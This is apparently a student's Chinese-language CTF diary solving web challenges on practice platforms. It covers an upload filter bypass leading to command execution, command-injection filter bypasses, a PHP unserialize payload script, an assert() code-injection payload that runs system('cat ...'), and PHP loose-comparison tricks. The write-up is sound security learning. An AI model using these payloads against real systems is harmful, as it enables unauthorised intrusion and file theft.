Every CTFproblem
liduoan.efls Engineer

2020.03.16

今日份是我差不多开始了新的开始 ,前面几天都是一些合天的学习,算法的训练

以下是今日题目 仅一题表示开始

攻防世界-upload1

首先这道题的上传仅仅过滤了前端 而且是不符合规则把submit按钮给display了

手动把display去掉就行了。

之后文件上传的过程中 我发现我出现了问题,我的菜刀连不上去 蚁剑也是。试了试文件上传之后可以访问成功。那么可以构建命令执行

image

我是先试着 ls cd ../;ls cd ../;cat flag.php

这样一步步来就好了

这道题目的感受是:在文件上传成功之后,先尝试可否访问,我觉得可以在php文件中加一些标记 这样可能会更好

image

这样之后尝试访问,可以发现

image

很明显 菜刀连不上可能是我出了问题。但是出现问题又怎么样呢?总不能放弃吧。换条路 ,RCE尝试一波。

今天就先这样吧 明天周二好苦,还有计组 笔记也还没写。哭泣了

2020.03.18

今日的题目很有意思

命令注入综合

下面是知识点:

1
2
3
4
ls 目录名   可以直接输出此目录下的文件
过滤了 ; | & 可以用%0a、%0d、%0D%0A 绕过 不过有趣的是要在URL上改 不然可能会出现编码%25a %25d之类的
过滤了|cat|flag|ctfhub 这些关键字该怎么过滤呢? fla''g fl$*ag fl\)ag 之类的

题目过一遍吧

首先查看过滤了什么 一开始我没注意到过滤了空格

我建议payload测试顺序应该为:

127.0.0.1

127.0.0.1(空格)

image

image

知道空格被过滤了

好的 运算符怎么过滤呢? 常见的%0a %0d 我一开始在输入框中测试发现都不成功,但是绕过就这几种啊。。 那么可能是被编码了导致的 直接在URL上处理!

image

那么怎么过滤关键字呢? 上面提到``来过滤呗

image

成功解决! 关键在于绕过测试手法的了解!

2020.03.19

今天的题目 反序列化

Web_php_unserialize

首先 这道题目的知识点我在合天都看过,我也知道怎么绕过。

但是就是也不出来!?为什么呢? 是因为

这个类的成员变量是private类型 ,一般序列化后会变成

1
2
3
4
5
Private属性 : 数据类型:属性名长度:"\00类名\00属性名";数据类型:属性值长度:"属性值";

Protected属性 : 数据类型:属性名长度:"\00*\00属性名";数据类型:属性值长度:"属性值";

Public属性 : 数据类型:属性名长度:"属性名";数据类型:属性值长度:"属性值";

而我用脚本写序列化后再去改动再去base64加密,破坏了\00这个字符!

所以最好用脚本来加解密 增删改! 而不是通过工具来修改!

下面是解题思路:

image

很明显 两处过滤

emm这两处过滤在合天那篇博客都写过怎么做

下面写下这个payload吧

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Demo{
private $file = 'fl4g.php';
}
$obj = new Demo();
$objj = serialize($obj);
//echo $objj;
$a = str_replace('O:4','O:+4',$objj);
$c = str_replace('1:{s:','2:{s:',$a);
//echo $c;
echo base64_encode($c);
?>

就可以啦! 这道题很经典吧可以说。我觉得最重要的是要去用脚本去输出。不然会破坏\00.

大师傅的题解:https://www.cnblogs.com/Mrsm1th/p/6835592.html

web2

一进来看题;

image

很明显嘛,逆向加密算法

说一下几个函数:

1
2
3
4
5
6
strrev(str);    把字符串倒置
substr($str,$start,$lenght); 从str中第start个字符开始截取长度为length的字符串
str_rot13($str);
str_rot13() 函数对字符串执行 ROT13 编码。
//ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。
//提示:编码和解码都是由相同的函数完成的。如果您把已编码的字符串作为参数,那么将返回原始字符串。

那么我们理一遍加密思路

1、倒置flag

2、把每一个字符的ascaii码加1

3、base64加密 倒置 ROT13编码

那么我们解密也有了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$flag = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$flag = str_rot13($flag); //解码rot13
$flag = strrev($flag); //倒置
$_o = base64_decode($flag);//base64解密
$_='';
for($_0=0;$_0<strlen($_o);$_0++){ //把每个字符倒退

$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
$flag = strrev($_); //倒置
echo $flag;

?>

mfw

这道题目我做了百分之40吧。。。

首先 Git泄露我找出来了。但是之后代码审计的时候出现了错误!

先走走看吧。

image

明显的git先测试看看

image

然后查看源码呗,我几乎看了所有文件 最后发现 利用点是在index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//index.php
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
//page 一定要有
$file = "templates/" . $page . ".php";
//增加字符串!
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

这里就是重点了

我直接输入/?page=flag

结果啥也没有 但是返回的是200 这说明可能注释掉了 我看不到而已

那么想想读取源码呗! 就想到文件包含 结果 这个字符串被限制了。。。

尤其是尾部! 尾部被限制了 搞不了搞不了

这是 注意到一个函数assert($str)这里存在命令执行漏洞!!

好的我们学习下这个命令执行漏洞的基本:

1
2
3
4
5
6
7
8
9
10
11
assert($str);
//这个是把$str这个字符串当作php代码执行 那么
assert("file_exists('$file')")
//这里是不是就可以命令注入了?!!
assert("字符串嘛!")
assert("_file_exists('abs') or system("ls");//')__")
//里面的_是表示这之间是字符串! 那么被当作代码的是什么呢?
file_exists('abs') or system("ls");//__')
//再看看! 代码是不是被注入了!!!


很好! 那么答案就出来了!!!

payload: /?page=abs’) or system(“cat templates/flag.php”);//

image

此外,还可以有别的方法访问得到文件

show_source(‘flag.php’);

print_r(file_get_contents(‘flag.php’));

cat flag.php;


一点小tips

linux cat :是把文件内容打印到标准输出

php system:是把系统命令的执行结果输出出来

php 在打印字符串的时候 如果字符串是以<?开头的 那么会被注释掉 同时遇到>注释才结束

收获颇深!

2020.03.20

今日题目 写了两道题 但是有一道题目我实在不理解算了吧

写写今天的垃圾题目:

image

讲真,我看了题目 也猜想过

结果我以为sql注入。。。 很像有没有?!

回过头来 看题 首先所有数据都被删除了 那么sql注入是注入不出来的!

【有一说一 的确 我当时order by 100000都还有显示。。

那么看网上的wp 提示爆破。

【这题也太无聊了

image

周末打比赛 以赛代练! 加油叭。

2020.03.22

[ACTF2020 新生赛]BackupFile

这道题目 就了解很多了

首先源码泄露 用 dirsearch扫描

扫描指令: ./dirsearch.py -u "www.xxxx.com" -e *

注意到 在URL后面不要填上/这个

不然会出现扫不出来!。。。 这个很气。

之后我们扫到/index.php.bak这个 下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

很明显 PHP黑魔法

我们再来解析解析!

函数介绍:

is_numeric — 检测变量是否为数字或数字字符串

如果 var 是数字和数字字符串则返回 **TRUE**,否则返回 **FALSE**。

intval — 获取变量的整数值

通过使用指定的进制 base 转换(默认是十进制),返回变量 varinteger 数值

strcmp — 二进制安全字符串比较

注意该比较区分大小写。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。


这道题目呢,==弱比较 字符串和数字比较的时候,字符串只取到数字。